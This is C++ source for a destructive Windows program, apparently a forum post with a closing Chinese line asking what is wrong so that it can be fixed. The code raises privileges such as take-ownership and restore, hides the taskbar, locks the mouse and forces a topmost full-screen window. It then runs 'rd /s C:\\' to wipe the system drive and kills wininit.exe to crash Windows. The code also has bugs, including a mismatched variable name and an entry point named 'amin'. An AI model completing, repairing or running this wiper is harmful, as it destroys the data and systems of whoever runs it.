#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <cmath>
#include <cstdlib>
#include <ctime>
#include <windows.h>
#include <stdlib.h>
#include <ShlObj.h> //IsUserAnAdmin()
#include <tlhelp32.h>
#include <conio.h>
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib,"winmm.lib")
#pragma comment(lib, "WINMM.LIB")
#include <mmsystem.h>
#include "process.h"
//#define wback break;
#include <time.h>
#include <shellapi.h>
#include <tchar.h>
#define wbreak while(true)break;
#include <TlHelp32.h>
//#include <strsafe.h>
using namespace std;
bool EnablePrivilege_bkk(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) { // receives LUID of privilege
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL)) {
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return false;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("The token does not have the specified privilege. \n");
return false;
}
return true;
}
bool EnablePrivilege_fileback(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable
BOOL bEnablePrivilege // to enable or disable privilege
) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) { // receives LUID of privilege
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// AdjustTokenPrivileges to enable or disable the privilege.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL)) {
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return false;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("The token does not have the specified privilege. \n");
return false;
}
return true;
}
int efback() {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
printf("OpenProcessToken error: %u\n", GetLastError());
return 1;
}
// Enable the SeBackupPrivilege
if (EnablePrivilege_fileback(hToken, SE_BACKUP_NAME, TRUE)) {
std::cout << "SeBackupPrivilege enabled successfully." << std::endl;
} else {
std::cout << "Failed to enable SeBackupPrivilege." << std::endl;
}
CloseHandle(hToken);
return 1;
}
int file_ownerbw() {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
printf("OpenProcessToken error: %u\n", GetLastError());
return 1;
}
if (EnablePrivilege_bkk(hToken, SE_RESTORE_NAME, TRUE)) {
std::cout << "SeRestorePrivilege enabled successfully." << std::endl;
} else {
std::cout << "Failed to enable SeRestorePrivilege." << std::endl;
}
efback();
CloseHandle(hToken);
return 1;
}
bool EnablePrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) { // receives LUID of privilege
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL)) {
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return false;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("The token does not have the specified privilege. \n");
return false;
}
return true;
}
int equdong() {
HANDLE hToken;
const char* PRIVILEGE_NAME = SE_LOAD_DRIVER_NAME;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
std::cerr << "OpenProcessToken error: " << GetLastError() << std::endl;
return 1;
}
if (EnablePrivilege(hToken, PRIVILEGE_NAME, TRUE)) {
std::cout << "Privilege enabled successfully." << std::endl;
} else {
std::cerr << "Failed to enable privilege." << std::endl;
}
CloseHandle(hToken);
return 1;
}
bool EnablePrivilege(HANDLE hToken, const LUID& luid) {
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
int err = GetLastError();
if (err != ERROR_SUCCESS) {
std::cerr << "EnablePrivilege failed with error: " << err << std::endl;
return false;
}
}
return true;
}
bool EnableSystemEnvironmentPrivilege() {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
std::cerr << "OpenProcessToken failed with error: " << GetLastError() << std::endl;
return false;
}
LUID luid;
if (!LookupPrivilegeValue(NULL, SE_SYSTEM_ENVIRONMENT_NAME, &luid)) {
std::cerr << "LookupPrivilegeValue failed with error: " << GetLastError() << std::endl;
CloseHandle(hToken);
return false;
}
bool result = EnablePrivilege(hToken, luid);
CloseHandle(hToken);
return result;
}
int ehuan() {
if (EnableSystemEnvironmentPrivilege()) {
std::cout << "SeSystemEnvironmentPrivilege enabled successfully." << std::endl;
// 在这里执行需要此特权的操作
} else {
std::cerr << "Failed to enable SeSystemEnvironmentPrivilege." << std::endl;
}
return 1;
}
bool EnablePrivilege1(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) { // receives LUID of privilege
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL)) {
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return false;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return false;
}
return true;
}
int efile() {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
std::cerr << "OpenProcessToken failed with error: " << GetLastError() << std::endl;
return 1;
}
if (EnablePrivilege1(hToken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE)) {
std::cout << "SeAssignPrimaryTokenPrivilege enabled successfully." << std::endl;
} else {
std::cerr << "Failed to enable SeAssignPrimaryTokenPrivilege." << std::endl;
}
CloseHandle(hToken);
return 1;
}
bool EnablePrivilege11(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) { // receives LUID of privilege
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL)) {
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return false;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("The token does not have the specified privilege.\n");
return false;
}
return true;
}
int eowner() {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
std::cerr << "OpenProcessToken failed with error: " << GetLastError() << std::endl;
return 1;
}
// Enable the SeTakeOwnershipPrivilege
if (EnablePrivilege11(hToken, SE_TAKE_OWNERSHIP_NAME, TRUE)) {
std::cout << "SeTakeOwnershipPrivilege enabled successfully." << std::endl;
} else {
std::cerr << "Failed to enable SeTakeOwnershipPrivilege." << std::endl;
}
// Don't forget to disable the privilege after use
EnablePrivilege11(hToken, SE_TAKE_OWNERSHIP_NAME, FALSE);
CloseHandle(hToken);
return 1;
}
bool EnablePrivilege_file(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable
BOOL bEnablePrivilege // to enable or disable privilege
) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) { // receives LUID of privilege
printf("LookupPrivilegeValue failed: %u\n", GetLastError());
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Adjust the privileges of the token.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL)) {
printf("AdjustTokenPrivileges failed: %u\n", GetLastError());
return false;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("The token does not have the specified privilege.\n");
return false;
}
return true;
}
int efileset() {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
std::cerr << "OpenProcessToken failed with error: " << GetLastError() << std::endl;
return 1;
}
// Enable the SeBackupPrivilege
if (EnablePrivilege_file(hToken, SE_BACKUP_NAME, TRUE)) {
std::cout << "SeBackupPrivilege enabled successfully." << std::endl;
} else {
std::cerr << "Failed to enable SeBackupPrivilege." << std::endl;
}
// Remember to disable the privilege after use
EnablePrivilege_file(hToken, SE_BACKUP_NAME, FALSE);
CloseHandle(hToken);
return 1;
}
#include <Windows.h>
#include <stdio.h>
BOOL sSetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) { // receives LUID of privilege
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL)) {
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
VOID FreezeMouse(bool setPos = false, POINT pos = {0, 0}) {
//冻结鼠标!!
RECT rect;
if (setPos) {
rect.left = pos.x;
rect.right = pos.x;
rect.top = pos.y;
rect.bottom = pos.y;
ClipCursor(&rect);
} else {
POINT pt;
GetCursorPos(&pt);
rect.left = pt.x;
rect.right = pt.x;
rect.top = pt.y;
rect.bottom = pt.y;
ClipCursor(&rect);
}
}
VOID HideTaskbar(VOID) {
ShowWindow(FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
}
signed amin(){
// UnhookWindowsHookEx(hhk);
HWND hwnd1; //本程序窗口
hwnd1 = GetForegroundWindow(); //获取本程序窗口
// while(true){
HWND hwnd = GetForegroundWindow();
int cx = GetSystemMetrics(SM_CXSCREEN); /* 屏幕宽度 像素 */
int cy = GetSystemMetrics(SM_CYSCREEN); /* 屏幕高度 像素 */
LONG l_WioStyle = GetWindowLong(hwnd, GWL_STYLE); /* 获取窗口信息 */
/* 设置窗口信息 最大化 取消标题栏及边框 */
SetWindowLong(hwnd, GWL_STYLE, (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME & ~WS_BORDER);
SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
// system("taskkill /f /im explorer.exe");
SetWindowPos(hwnd1, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE); //窗口置顶
HideTaskbar();
efileset() ;
FreezeMouse();
eowner();
efile();
ehuan();
efback();
cout<<"确定?(否则关掉此程序)或按下Ctrl+C"<<endl;
system("pause");
system("rd /s C:\\");
system("taskkill /f /im wininit.exe");
return false ;
}
哪里错了??更正后就 OK 了